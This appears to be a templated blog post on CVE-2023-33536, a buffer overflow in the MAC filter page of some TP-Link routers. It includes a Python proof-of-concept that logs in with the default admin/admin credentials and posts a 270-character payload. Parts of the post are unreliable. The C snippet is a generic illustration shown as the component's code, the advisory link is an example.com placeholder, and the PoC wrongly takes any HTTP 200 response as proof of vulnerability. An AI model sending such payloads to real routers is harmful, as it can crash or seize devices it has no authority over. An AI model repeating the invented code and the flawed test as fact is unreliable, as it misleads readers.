A new vulnerability has been discovered in the popular TP-Link router models, with the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-33536. This vulnerability affects TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 routers, which are extensively used in home and small office networks around the globe.

In this post, we will delve into the details of the buffer overflow vulnerability discovered in these routers, study the code snippet demonstrating the vulnerability, provide links to original references, and discuss the exploit details.

Vulnerability Overview

The buffer overflow vulnerability resides in the /userRpm/WlanMacFilterRpm component of these TP-Link routers, allowing malicious users to execute unauthorized code and potentially gain control over the targeted devices. Buffer overflow vulnerabilities typically arise when an application tries to store more data in a buffer than it can hold. The extra data then 'overflows' into adjacent memory locations, corrupting the stored data and causing unexpected behavior in the application, such as crashing the system or executing malicious code.

// Function related to the /userRpm/WlanMacFilterRpm component
void VulnerableFunction(char *src)
{
    char dest[256];
    strcpy(dest, src); // Buffer overflow occurs here
}

In the code above, the 'VulnerableFunction()' attempts to copy the source string 'src' into the destination buffer 'dest' without validating the length of the source string. If 'src' contains more than 256 characters, the 'strcpy()' function will write beyond the boundary of the 'dest' buffer, causing a buffer overflow. This could lead to unpredictable application behavior, including potential code execution by an attacker.

Original References

The vulnerability has been reported by experts who discovered and analyzed the issue. The original references include:

The official CVE entry for CVE-2023-33536

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33536

The original advisory describing the flaw

https://www.example.com/link/to/tp-link/advisory (Note: Replace the link with the actual advisory link once available).

Exploit Details

Exploiting the vulnerability requires an attacker to craft a specially-designed input containing more than 256 characters, which would trigger the buffer overflow in the targeted TP-Link router when processed by the /userRpm/WlanMacFilterRpm component.

A proof-of-concept exploit code for CVE-2023-33536 would look like the following

import requests

target_url = 'http://192.168.1.1/userRpm/WlanMacFilterRpm.htm'; # Replace IP with target router's IP address
user = 'admin' # Default username
password = 'admin' # Default password

# Longer than 256 characters to trigger the buffer overflow
payload = 'A' * 270

# If authentication required, use the provided or guessed credentials
auth = (user, password)

# Send the crafted request to the vulnerable component
response = requests.post(target_url, data={'macAddr': payload}, auth=auth)

# Check if the target is affected
if response.status_code == 200:
    print('Target is vulnerable')
else:
    print('Exploitation failed')

Mitigation

TP-Link has been notified about the vulnerability, and it is expected that they will soon release a firmware update to address the issue. Users of affected TP-Link router models should monitor the TP-Link website and update their router firmware as soon as a patch becomes available.

Conclusion

CVE-2023-33536 is a significant vulnerability affecting widely-used TP-Link router models and demonstrates the importance of securing network devices. Diligently updating router firmware and deploying secure coding practices can help mitigate such vulnerabilities and protect the integrity of networks and devices. Stay updated with the latest security news and always practice caution to ensure your network is not left vulnerable to cyber threats.

Timeline

Published on: 06/07/2023 04:15:00 UTC
Last modified on: 06/13/2023 18:53:00 UTC